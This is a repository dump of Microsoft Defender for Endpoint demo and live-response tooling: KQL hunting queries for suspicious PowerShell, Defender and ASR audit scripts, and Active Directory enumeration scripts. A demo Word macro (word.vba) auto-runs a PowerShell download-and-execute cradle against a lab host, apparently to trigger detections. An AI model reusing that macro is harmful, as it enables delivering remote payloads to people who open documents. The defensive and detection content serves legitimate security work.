| | project Timestamp, Command=tostring(parse_json(AdditionalFields).Command) 62 | ``` 63 | 64 | ```sql 65 | // PowerShell with encoded content 66 | DeviceEvents 67 | | where ActionType == "PowerShellCommand" 68 | | project Timestamp, InitiatingProcessCommandLine , Command=tostring(parse_json(AdditionalFields).Command) 69 | | where InitiatingProcessCommandLine contains "==" 70 | ``` 71 | 72 | ```sql 73 | // Finds all PowerShell execution events wherein the PowerShell window has been explicitly hidden. 74 | DeviceProcessEvents 75 | | where InitiatingProcessFileName =~ "powershell.exe" 76 | | where InitiatingProcessCommandLine has "-Command" 77 | | where InitiatingProcessCommandLine has "-w hidden" or InitiatingProcessCommandLine has "-windowstyle hidden" 78 | | project Timestamp, DeviceName, InitiatingProcessCommandLine 79 | ``` 80 | 81 | ```sql 82 | DeviceProcessEvents 83 | | where InitiatingProcessFileName in~ ("winword.exe","excel.exe","powerpnt.exe") 84 | // For more detailed query, that find a document file that was downloaded from the 85 | // internet, comment out the following line. Also modify the following line if the 86 | // document resides in a folder other than “downloads” 87 | // | where InitiatingProcessFolderPath contains "downloads" 88 | | where FileName =~ "powershell.exe" 89 | ``` -------------------------------------------------------------------------------- /DemoTools/PSscripts/GetADObjectInfo.ps1: -------------------------------------------------------------------------------- 1 | # just a few lines of PS Code that pulls AD object information 2 | 3 | # Collect AD object information 4 | $allusers = (New-Object DirectoryServices.DirectorySearcher “ObjectCategory=user”).FindAll() | Select path 5 | $allcomputers = (New-Object DirectoryServices.DirectorySearcher “ObjectClass=Computer”).FindAll() | Select path 6 | $allous = (New-Object DirectoryServices.DirectorySearcher “ObjectClass=OrganizationalUnit”).FindAll() | Select path 7 | $allgroups = (New-Object DirectoryServices.DirectorySearcher “ObjectClass=Group”).FindAll() | Select path 8 | 9 | $allusers 10 | $allcomputers 11 | $allous 12 | $allgroups 13 | 14 | 15 | 16 | 17 | $root=([ADSI]"").distinguishedName 18 | $Group = [ADSI]("LDAP://CN=Domain Admins, CN=Users,"+ $root) 19 | $Group.member 20 | $group.description 21 | $group.Children 22 | -------------------------------------------------------------------------------- /DemoTools/Restinfo.md: -------------------------------------------------------------------------------- 1 | # Rest fun 2 | 3 | Open API explorer and see 4 | 5 | ## Enabled / Disabled Features in MDATP 6 | 7 | https://securitycenter.windows.com/features?asJson=true 8 | 9 | ## Office Integration Status 10 | 11 | https://winatpmanagement-eu.securitycenter.windows.com/QueryOfficeAtpIntegrationStatus?tenantUrlPrefix=EUR03B 12 | 13 | // need to figure out where the prefix comes from 14 | 15 | ## User Preferences 16 | 17 | https://wdatpprd-neu.securitycenter.windows.com/api/ine/userpreferencesservice/userPreference 18 | 19 | ## Portal Login info 20 | 21 | https://securitycenter.windows.com/Authenticate/Login 22 | 23 | ## outbreak data 24 | 25 | https://winatpsecurityanalyticsapi-eu.securitycenter.windows.com/outbreaksEnrichedData/ 26 | 27 | ## Exposed RBAC Groups 28 | 29 | https://ineportalapi-neu-prd.securitycenter.windows.com/UserExposedRbacGroups 30 | 31 | -------------------------------------------------------------------------------- /DemoTools/freevideo.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/alexverboon/MDATP/b1bc1506cfdf1d08bbddced6b7abdae77cb44c7a/DemoTools/freevideo.zip -------------------------------------------------------------------------------- /DemoTools/vbscripts/listcomputers.vbs: -------------------------------------------------------------------------------- 1 | 2 | On Error Resume Next 3 | 4 | Set objDomain = GetObject("WinNT://corp") 5 | 6 | WScript.echo "Domain : " + objDomain.name 7 | 8 | For each objDomainItem in objDomain 9 | if objDomainItem.Class = "Computer" then 10 | WScript.echo objDomainItem.Name 11 | end if 12 | Next -------------------------------------------------------------------------------- /DemoTools/vbscripts/listgroups.vbs: -------------------------------------------------------------------------------- 1 | On Error Resume Next 2 | 3 | Set objDomain = GetObject("WinNT://corp") 4 | 5 | WScript.echo "Domain : " + objDomain.name 6 | 7 | For each objDomainItem in objDomain 8 | if objDomainItem.Class = "Group" then 9 | WScript.echo objDomainItem.Name 10 | end if 11 | Next -------------------------------------------------------------------------------- /DemoTools/vbscripts/listusers.vbs: -------------------------------------------------------------------------------- 1 | 'ListUsers.vbs 2 | On Error Resume Next 3 | 4 | Set objDomain = GetObject("WinNT://corp") 5 | 6 | WScript.echo "Domain : " + objDomain.name 7 | 8 | For each objDomainItem in objDomain 9 | if objDomainItem.Class = "User" then 10 | WScript.echo objDomainItem.Name + " : Full Name: " + objDomainItem.FullName 11 | end if 12 | Next -------------------------------------------------------------------------------- /DemoTools/vbscripts/word.vba: -------------------------------------------------------------------------------- 1 | Sub Auto_Open() 2 | Dim exec As String 3 | exec = "powershell.exe ""IEX ((new-object net.webclient).downloadstring('http://10.0.0.13/payload.txt '))""" 4 | Shell (exec) 5 | End Sub -------------------------------------------------------------------------------- /Images/DefenderXDR.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/alexverboon/MDATP/b1bc1506cfdf1d08bbddced6b7abdae77cb44c7a/Images/DefenderXDR.png -------------------------------------------------------------------------------- /Images/MDATP1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/alexverboon/MDATP/b1bc1506cfdf1d08bbddced6b7abdae77cb44c7a/Images/MDATP1.png -------------------------------------------------------------------------------- /Images/defender.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/alexverboon/MDATP/b1bc1506cfdf1d08bbddced6b7abdae77cb44c7a/Images/defender.png -------------------------------------------------------------------------------- /Images/defener365resourcehub.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/alexverboon/MDATP/b1bc1506cfdf1d08bbddced6b7abdae77cb44c7a/Images/defener365resourcehub.png -------------------------------------------------------------------------------- /Images/mdatp icons/active-threat-icon.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/alexverboon/MDATP/b1bc1506cfdf1d08bbddced6b7abdae77cb44c7a/Images/mdatp icons/active-threat-icon.png -------------------------------------------------------------------------------- /Images/mdatp icons/alert-icon.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/alexverboon/MDATP/b1bc1506cfdf1d08bbddced6b7abdae77cb44c7a/Images/mdatp icons/alert-icon.png -------------------------------------------------------------------------------- /Images/mdatp icons/atp-access-token-modification-icon.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/alexverboon/MDATP/b1bc1506cfdf1d08bbddced6b7abdae77cb44c7a/Images/mdatp icons/atp-access-token-modification-icon.png -------------------------------------------------------------------------------- /Images/mdatp icons/atp-application-guard-events-icon.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/alexverboon/MDATP/b1bc1506cfdf1d08bbddced6b7abdae77cb44c7a/Images/mdatp icons/atp-application-guard-events-icon.png -------------------------------------------------------------------------------- /Images/mdatp icons/atp-command-line-icon.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/alexverboon/MDATP/b1bc1506cfdf1d08bbddced6b7abdae77cb44c7a/Images/mdatp icons/atp-command-line-icon.png -------------------------------------------------------------------------------- /Images/mdatp icons/atp-community-center.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/alexverboon/MDATP/b1bc1506cfdf1d08bbddced6b7abdae77cb44c7a/Images/mdatp icons/atp-community-center.png -------------------------------------------------------------------------------- /Images/mdatp icons/atp-exploit-guard-events-icon.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/alexverboon/MDATP/b1bc1506cfdf1d08bbddced6b7abdae77cb44c7a/Images/mdatp icons/atp-exploit-guard-events-icon.png -------------------------------------------------------------------------------- /Images/mdatp icons/atp-file-creation-icon.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/alexverboon/MDATP/b1bc1506cfdf1d08bbddced6b7abdae77cb44c7a/Images/mdatp icons/atp-file-creation-icon.png -------------------------------------------------------------------------------- /Images/mdatp icons/atp-file-observed-icon.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/alexverboon/MDATP/b1bc1506cfdf1d08bbddced6b7abdae77cb44c7a/Images/mdatp icons/atp-file-observed-icon.png -------------------------------------------------------------------------------- /Images/mdatp icons/atp-file-path-icon.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/alexverboon/MDATP/b1bc1506cfdf1d08bbddced6b7abdae77cb44c7a/Images/mdatp icons/atp-file-path-icon.png -------------------------------------------------------------------------------- /Images/mdatp icons/atp-firewall-events-icon.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/alexverboon/MDATP/b1bc1506cfdf1d08bbddced6b7abdae77cb44c7a/Images/mdatp icons/atp-firewall-events-icon.png -------------------------------------------------------------------------------- /Images/mdatp icons/atp-logo-icon.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/alexverboon/MDATP/b1bc1506cfdf1d08bbddced6b7abdae77cb44c7a/Images/mdatp icons/atp-logo-icon.png -------------------------------------------------------------------------------- /Images/mdatp icons/atp-machine-icon.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/alexverboon/MDATP/b1bc1506cfdf1d08bbddced6b7abdae77cb44c7a/Images/mdatp icons/atp-machine-icon.png -------------------------------------------------------------------------------- /Images/mdatp icons/atp-memory-allocation-icon.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/alexverboon/MDATP/b1bc1506cfdf1d08bbddced6b7abdae77cb44c7a/Images/mdatp icons/atp-memory-allocation-icon.png -------------------------------------------------------------------------------- /Images/mdatp icons/atp-network-communications-icon.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/alexverboon/MDATP/b1bc1506cfdf1d08bbddced6b7abdae77cb44c7a/Images/mdatp icons/atp-network-communications-icon.png -------------------------------------------------------------------------------- /Images/mdatp icons/atp-notifications.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/alexverboon/MDATP/b1bc1506cfdf1d08bbddced6b7abdae77cb44c7a/Images/mdatp icons/atp-notifications.png -------------------------------------------------------------------------------- /Images/mdatp icons/atp-other-events-icon.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/alexverboon/MDATP/b1bc1506cfdf1d08bbddced6b7abdae77cb44c7a/Images/mdatp icons/atp-other-events-icon.png -------------------------------------------------------------------------------- /Images/mdatp icons/atp-powershell-command-run-icon.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/alexverboon/MDATP/b1bc1506cfdf1d08bbddced6b7abdae77cb44c7a/Images/mdatp icons/atp-powershell-command-run-icon.png -------------------------------------------------------------------------------- /Images/mdatp icons/atp-process-event-icon.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/alexverboon/MDATP/b1bc1506cfdf1d08bbddced6b7abdae77cb44c7a/Images/mdatp icons/atp-process-event-icon.png -------------------------------------------------------------------------------- /Images/mdatp icons/atp-process-injection.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/alexverboon/MDATP/b1bc1506cfdf1d08bbddced6b7abdae77cb44c7a/Images/mdatp icons/atp-process-injection.png -------------------------------------------------------------------------------- /Images/mdatp icons/atp-process-tree.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/alexverboon/MDATP/b1bc1506cfdf1d08bbddced6b7abdae77cb44c7a/Images/mdatp icons/atp-process-tree.png -------------------------------------------------------------------------------- /Images/mdatp icons/atp-registry-event-icon.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/alexverboon/MDATP/b1bc1506cfdf1d08bbddced6b7abdae77cb44c7a/Images/mdatp icons/atp-registry-event-icon.png -------------------------------------------------------------------------------- /Images/mdatp icons/atp-respond-action-icon.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/alexverboon/MDATP/b1bc1506cfdf1d08bbddced6b7abdae77cb44c7a/Images/mdatp icons/atp-respond-action-icon.png -------------------------------------------------------------------------------- /Images/mdatp icons/atp-smart-screen-events-icon.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/alexverboon/MDATP/b1bc1506cfdf1d08bbddced6b7abdae77cb44c7a/Images/mdatp icons/atp-smart-screen-events-icon.png -------------------------------------------------------------------------------- /Images/mdatp icons/atp-thunderbolt-icon.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/alexverboon/MDATP/b1bc1506cfdf1d08bbddced6b7abdae77cb44c7a/Images/mdatp icons/atp-thunderbolt-icon.png -------------------------------------------------------------------------------- /Images/mdatp icons/atp-unsigned-file-icon.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/alexverboon/MDATP/b1bc1506cfdf1d08bbddced6b7abdae77cb44c7a/Images/mdatp icons/atp-unsigned-file-icon.png -------------------------------------------------------------------------------- /Images/mdatp icons/atp-windows-defender-av-events-icon.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/alexverboon/MDATP/b1bc1506cfdf1d08bbddced6b7abdae77cb44c7a/Images/mdatp icons/atp-windows-defender-av-events-icon.png -------------------------------------------------------------------------------- /Images/mdatp icons/detection-icon.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/alexverboon/MDATP/b1bc1506cfdf1d08bbddced6b7abdae77cb44c7a/Images/mdatp icons/detection-icon.png -------------------------------------------------------------------------------- /Images/mdatp icons/failed.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/alexverboon/MDATP/b1bc1506cfdf1d08bbddced6b7abdae77cb44c7a/Images/mdatp icons/failed.png -------------------------------------------------------------------------------- /Images/mdatp icons/no-threats-found.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/alexverboon/MDATP/b1bc1506cfdf1d08bbddced6b7abdae77cb44c7a/Images/mdatp icons/no-threats-found.png -------------------------------------------------------------------------------- /Images/mdatp icons/not-remediated-icon.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/alexverboon/MDATP/b1bc1506cfdf1d08bbddced6b7abdae77cb44c7a/Images/mdatp icons/not-remediated-icon.png -------------------------------------------------------------------------------- /Images/mdatp icons/partially-investigated.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/alexverboon/MDATP/b1bc1506cfdf1d08bbddced6b7abdae77cb44c7a/Images/mdatp icons/partially-investigated.png -------------------------------------------------------------------------------- /Images/mdatp icons/partially_remediated.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/alexverboon/MDATP/b1bc1506cfdf1d08bbddced6b7abdae77cb44c7a/Images/mdatp icons/partially_remediated.png -------------------------------------------------------------------------------- /Images/mdatp icons/pending.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/alexverboon/MDATP/b1bc1506cfdf1d08bbddced6b7abdae77cb44c7a/Images/mdatp icons/pending.png -------------------------------------------------------------------------------- /Images/mdatp icons/remediated-icon.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/alexverboon/MDATP/b1bc1506cfdf1d08bbddced6b7abdae77cb44c7a/Images/mdatp icons/remediated-icon.png -------------------------------------------------------------------------------- /Images/mdatp icons/remediated.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/alexverboon/MDATP/b1bc1506cfdf1d08bbddced6b7abdae77cb44c7a/Images/mdatp icons/remediated.png -------------------------------------------------------------------------------- /Images/mdatp icons/running.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/alexverboon/MDATP/b1bc1506cfdf1d08bbddced6b7abdae77cb44c7a/Images/mdatp icons/running.png -------------------------------------------------------------------------------- /Images/mdatp icons/terminated-by-system.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/alexverboon/MDATP/b1bc1506cfdf1d08bbddced6b7abdae77cb44c7a/Images/mdatp icons/terminated-by-system.png -------------------------------------------------------------------------------- /Images/mdatp icons/tvm_alert_icon.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/alexverboon/MDATP/b1bc1506cfdf1d08bbddced6b7abdae77cb44c7a/Images/mdatp icons/tvm_alert_icon.png -------------------------------------------------------------------------------- /Images/mdatp icons/tvm_bug_icon.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/alexverboon/MDATP/b1bc1506cfdf1d08bbddced6b7abdae77cb44c7a/Images/mdatp icons/tvm_bug_icon.png -------------------------------------------------------------------------------- /Images/mdatp icons/tvm_insight_icon.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/alexverboon/MDATP/b1bc1506cfdf1d08bbddced6b7abdae77cb44c7a/Images/mdatp icons/tvm_insight_icon.png -------------------------------------------------------------------------------- /Images/sentinel01.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/alexverboon/MDATP/b1bc1506cfdf1d08bbddced6b7abdae77cb44c7a/Images/sentinel01.png -------------------------------------------------------------------------------- /Images/small_DefenderXDR.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/alexverboon/MDATP/b1bc1506cfdf1d08bbddced6b7abdae77cb44c7a/Images/small_DefenderXDR.png -------------------------------------------------------------------------------- /Images/small_defener365resourcehub.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/alexverboon/MDATP/b1bc1506cfdf1d08bbddced6b7abdae77cb44c7a/Images/small_defener365resourcehub.png -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2019 Alex Verboon 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /LiveResponse/Analyze-file.md: -------------------------------------------------------------------------------- 1 | # MDATP - Live Response 2 | 3 | ## File Analysis 4 | 5 | findfile PotentiallyUnwanted.exe 6 | 7 | fileinfo "c:\Users\Administrator\Downloads\PotentiallyUnwanted.exe" 8 | 9 | getfile "c:\Users\Administrator\Downloads\PotentiallyUnwanted.exe" -upload 10 | 11 | analyze file "c:\Users\Administrator\Downloads\PotentiallyUnwanted.exe" 12 | 13 | Sample Result: 14 | 15 | { 16 | "report": { 17 | "status": "infected", 18 | "total": 2, 19 | "verified": 0, 20 | "clean": 1, 21 | "has_file": false, 22 | "suspicious": 0, 23 | "file_hash": "00117f70c86adb0f979021391a8aeaa497c2c8df", 24 | "infected": 1, 25 | "behavior": { 26 | "Files": { 27 | "Deleted": null, 28 | "Modified": null, 29 | "Created": [] 30 | } 31 | }, 32 | "not_found": 0, 33 | "scans": [ 34 | { 35 | "status": "clean", 36 | "scan_time": 1568360854.357407, 37 | "report": "", 38 | "source": "Deep Analysis" 39 | }, 40 | { 41 | "status": "infected", 42 | "source": "Windows Defender Static Analysis Engines", 43 | "report": { 44 | "detected_by": "10 engines" 45 | }, 46 | "scan_time": 1568360651.396473, 47 | "behavior": null 48 | }, 49 | { 50 | "status": "infected", 51 | "source": "Virus Total", 52 | "report": { 53 | "detected_by": "48/67 AVs" 54 | }, 55 | "scan_time": 1568360651.396926, 56 | "behavior": null 57 | } 58 | ] 59 | }, 60 | "scan_status": "infected" 61 | } 62 | 63 | -------------------------------------------------------------------------------- /LiveResponse/Library/Scripts/ASR_Analyzer_v2.2.ps1: -------------------------------------------------------------------------------- 1 | $RulesIds = Get-MpPreference | Select-Object -ExpandProperty AttackSurfaceReductionRules_Ids 2 | $RulesActions = Get-MpPreference | Select-Object -ExpandProperty AttackSurfaceReductionRules_Actions 3 | $RulesExclusions = Get-MpPreference | Select-Object -ExpandProperty AttackSurfaceReductionOnlyExclusions 4 | 5 | $RulesIdsArray = @() 6 | $RulesIdsArray += $RulesIds 7 | 8 | $counter = 0 9 | $TotalNotConfigured = 0 10 | $TotalAudit = 0 11 | $TotalBlock = 0 12 | 13 | ForEach ($i in $RulesActions){ 14 | If ($RulesActions[$counter] -eq 0){$TotalNotConfigured++} 15 | ElseIf ($RulesActions[$counter] -eq 1){$TotalBlock++} 16 | ElseIf ($RulesActions[$counter] -eq 2){$TotalAudit++} 17 | $counter++ 18 | } 19 | 20 | Write-Host 21 | Write-Host ====================================== ASR Summary ====================================== 22 | 23 | Write-Host "=> There's"($RulesIds).Count"rules configured" 24 | Write-Host "=>"$TotalNotConfigured "in Disabled Mode **" $TotalAudit "in Audit Mode **" $TotalBlock "in Block Mode" 25 | 26 | Write-Host 27 | Write-Host ====================================== ASR Rules ====================================== 28 | 29 | $counter = 0 30 | 31 | ForEach ($j in $RulesIds){ 32 | ## Convert GUID into Rule Name 33 | If ($RulesIdsArray[$counter] -eq "D4F940AB-401B-4EFC-AADC-AD5F3C50688A"){$RuleName = "Block all Office applications from creating child processes"} 34 | ElseIf ($RulesIdsArray[$counter] -eq "5BEB7EFE-FD9A-4556-801D-275E5FFC04CC"){$RuleName = "Block execution of potentially obfuscated scripts"} 35 | ElseIf ($RulesIdsArray[$counter] -eq "92E97FA1-2EDF-4476-BDD6-9DD0B4DDDC7B"){$RuleName = "Block Win32 API calls from Office macro"} 36 | ElseIf ($RulesIdsArray[$counter] -eq "3B576869-A4EC-4529-8536-B80A7769E899"){$RuleName = "Block Office applications from creating executable content"} 37 | ElseIf ($RulesIdsArray[$counter] -eq "75668C1F-73B5-4CF0-BB93-3ECF5CB7CC84"){$RuleName = "Block Office applications from injecting code into other processes"} 38 | ElseIf ($RulesIdsArray[$counter] -eq "D3E037E1-3EB8-44C8-A917-57927947596D"){$RuleName = "Block JavaScript or VBScript from launching downloaded executable content"} 39 | ElseIf ($RulesIdsArray[$counter] -eq "BE9BA2D9-53EA-4CDC-84E5-9B1EEEE46550"){$RuleName = "Block executable content from email client and webmail"} 40 | ElseIf ($RulesIdsArray[$counter] -eq "01443614-cd74-433a-b99e-2ecdc07bfc25"){$RuleName = "Block executable files from running unless they meet a prevalence, age, or trusted list criteria"} 41 | ElseIf ($RulesIdsArray[$counter] -eq "c1db55ab-c21a-4637-bb3f-a12568109d35"){$RuleName = "Use advanced protection against ransomware"} 42 | ElseIf ($RulesIdsArray[$counter] -eq "9e6c4e1f-7d60-472f-ba1a-a39ef669e4b2"){$RuleName = "Block credential stealing from the Windows local security authority subsystem (lsass.exe)"} 43 | ElseIf ($RulesIdsArray[$counter] -eq "d1e49aac-8f56-4280-b9ba-993a6d77406c"){$RuleName = "Block process creations originating from PSExec and WMI commands"} 44 | ElseIf ($RulesIdsArray[$counter] -eq "b2b3f03d-6a65-4f7b-a9c7-1c7ef74a9ba4"){$RuleName = "Block untrusted and unsigned processes that run from USB"} 45 | ElseIf ($RulesIdsArray[$counter] -eq "26190899-1602-49e8-8b27-eb1d0a1ce869"){$RuleName = "Block Office communication applications from creating child processes"} 46 | ElseIf ($RulesIdsArray[$counter] -eq "7674ba52-37eb-4a4f-a9a1-f0f9a1619a2c"){$RuleName = "Block Adobe Reader from creating child processes"} 47 | ElseIf ($RulesIdsArray[$counter] -eq "e6db77e5-3df2-4cf1-b95a-636979351e5b"){$RuleName = "Block persistence through WMI event subscription"} 48 | ## Check the Action type 49 | If ($RulesActions[$counter] -eq 0){$RuleAction = "Disabled"} 50 | ElseIf ($RulesActions[$counter] -eq 1){$RuleAction = "Block"} 51 | ElseIf ($RulesActions[$counter] -eq 2){$RuleAction = "Audit"} 52 | ## Output Rule Id, Name and Action 53 | Write-Host "=>" $RulesIdsArray[$counter] " **" $RuleName "**" "Action:"$RuleAction 54 | $counter++ 55 | } 56 | 57 | Write-Host 58 | Write-Host ====================================== ASR Exclusions ====================================== 59 | 60 | $counter = 0 61 | 62 | ## Output ASR exclusions 63 | ForEach ($f in $RulesExclusions){ 64 | Write-Host "=>" $RulesExclusions[$counter] 65 | $counter++ 66 | } 67 | -------------------------------------------------------------------------------- /LiveResponse/Library/Scripts/DefenderExclusions.ps1: -------------------------------------------------------------------------------- 1 | Write-Host "Retrieving Defender Configuration" 2 | $DefenderSettings = Get-MpPreference 3 | 4 | Write-Host "Excluded Processes" 5 | write-host $DefenderSettings.ExclusionProcess 6 | 7 | 8 | Write-Host "Excluded Paths" 9 | write-host $DefenderSettings.ExclusionPath 10 | 11 | Write-Host "Excluded Exentsions" 12 | write-host $DefenderSettings.ExclusionExtension 13 | 14 | 15 | 16 | -------------------------------------------------------------------------------- /LiveResponse/Library/Scripts/Dump-LRNTFSInfo.ps1: -------------------------------------------------------------------------------- 1 | Function Dump-LRNTFSInfo 2 | { 3 | <# 4 | .Synopsis 5 | Executes ntfsinfo64.exe witin an MDATP Live response session 6 | 7 | .Description 8 | Executes ntfsinfo64.exe witin an MDATP Live response session 9 | 10 | ntfsinfo64.exe binaries can be downloaded from: https://docs.microsoft.com/en-us/sysinternals/downloads/ntfsinfo 11 | 12 | ntfsinfo64.exe and dump-LRNTFSInfo must be stored in the MDATP Script Library and downloaded 13 | to the remote machine 14 | 15 | Within an MDATP Live Response session run the following commands to download the content to the machine 16 | 17 | putfile ntfsinfo64.exe 18 | putfile Dump-LRNTFSInfo.ps1 19 | 20 | Then run the following command to execute the sript 21 | 22 | run Dump-LRNTFSInfo.ps1 23 | #> 24 | 25 | If (Test-Path $PSScriptRoot\ntfsinfo64.exe -PathType Leaf) 26 | { 27 | .\ntfsinfo64.exe /accepteula c:\ 28 | } 29 | Else 30 | { 31 | Write-Warning "ntfsinfo64.exe not found in $PSScriptRoot. Run 'putfile ntfsinfo64.exe'" 32 | } 33 | } 34 | 35 | ## Run it 36 | Dump-LRNTFSInfo -------------------------------------------------------------------------------- /LiveResponse/Library/Scripts/Get-OfficeDocuments.ps1: -------------------------------------------------------------------------------- 1 |  2 | Function Get-OfficeDocuments(){ 3 | 4 | $Drives = Get-PSDrive | Select-Object -ExpandProperty 'Name' | Select-String -Pattern '^[a-z]$' 5 | $FileInfo = [System.Collections.ArrayList]::new() 6 | $Filetypes = @("*.docx","*.pptx","*.xlsx","*.pdf","*.doc","*.xls") 7 | ForEach($DriveLetter in $Drives) 8 | { 9 | $Drive = "$DriveLetter" + ":\" 10 | $DriveFiles = Get-ChildItem -Path $Drive -Include $Filetypes -Recurse -File -ErrorAction SilentlyContinue | Select-Object FullName 11 | [void]$FileInfo.Add($DriveFiles) 12 | } 13 | $FileInfo 14 | } 15 | Get-OfficeDocuments 16 | 17 | 18 | 19 | -------------------------------------------------------------------------------- /LiveResponse/Library/Scripts/Get-WFPAuditStatus.ps1: -------------------------------------------------------------------------------- 1 | Function Get-WFPAuditStatus 2 | { 3 | <# 4 | .Synopsis 5 | Executes whoami witin an MDATP Live response session 6 | 7 | .Description 8 | Executes the following commands to retreive the Windows Filtering Platform Audit status 9 | 10 | auditpol /get /subcategory:"Filtering Platform Packet Drop" 11 | auditpol /get /subcategory:"Filtering Platform Connection" 12 | 13 | 14 | run the following command witin the live response session to execute the sript 15 | run Get-WFPAuditStatus.ps1 16 | 17 | #> 18 | auditpol /get /subcategory:"Filtering Platform Packet Drop" 19 | auditpol /get /subcategory:"Filtering Platform Connection" 20 | } 21 | 22 | ## Run it 23 | Get-WFPAuditStatus -------------------------------------------------------------------------------- /LiveResponse/Library/Scripts/Get-WFPEventsLR2.ps1: -------------------------------------------------------------------------------- 1 | #Requires -RunAsAdministrator 2 | function Get-WFPEventsLR2{ 3 | <# 4 | .Synopsis 5 | Get-WFPEvents 6 | .DESCRIPTION 7 | Get-WFPEvents retrieves Windows Filtering Platform events 8 | 9 | For more details see: 10 | https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/audit-filtering-platform-connection 11 | https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/audit-filtering-platform-packet-drop 12 | https://docs.microsoft.com/en-us/microsoft-365/security/defender-endpoint/host-firewall-reporting?view=o365-worldwide 13 | https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-5031 14 | .EXAMPLE 15 | Get-WFPEvents 16 | .NOTES 17 | v1.0, 02.11.2021, alex Verboon 18 | #> 19 | [CmdletBinding()] 20 | Param( 21 | # Number of events to retrieve 22 | [int] 23 | $MaxEvents=10 24 | ) 25 | 26 | Begin{ 27 | $fweventcodes = @{ 28 | "5031" = "The Windows Firewall Service blocked an application from accepting incoming connections on the network"; 29 | "5150" = "The Windows Filtering Platform blocked a packet."; 30 | "5151" = "A more restrictive Windows Filtering Platform filter has blocked a packet"; 31 | "5154" = "The Windows Filtering Platform has permitted an application or service to listen on a port for incoming connections." 32 | "5155" = "The Windows Filtering Platform has blocked an application or service from listening on a port for incoming connections."; 33 | "5156" = "The Windows Filtering Platform has permitted a connection." 34 | "5157" = "The Windows Filtering Platform has blocked a connection."; 35 | "5158" = " The Windows Filtering Platform has permitted a bind to a local port." 36 | "5159" = "The Windows Filtering Platform has blocked a bind to a local port."; 37 | "5152" = "The Windows Filtering Platform blocked a packet."; 38 | "5153" = "A more restrictive Windows Filtering Platform filter has blocked a packet."; 39 | } 40 | 41 | $protocolcodes = @{ 42 | "1" = "Internet Control Message Protocol (ICMP)"; 43 | "6" = "Transmission Control Protocol (TCP)"; 44 | "17" = "User Datagram Protocol (UDP)"; 45 | "47" = "General Routing Encapsulation (PPTP data over GRE)"; 46 | "51" = "Authentication Header (AH) IPSec"; 47 | "50" = "Encapsulation Security Payload (ESP) IPSec"; 48 | "8" = "Exterior Gateway Protocol (EGP)"; 49 | "3" = "Gateway-Gateway Protocol (GGP)"; 50 | "20" = "Host Monitoring Protocol (HMP)"; 51 | "88" = "Internet Group Management Protocol 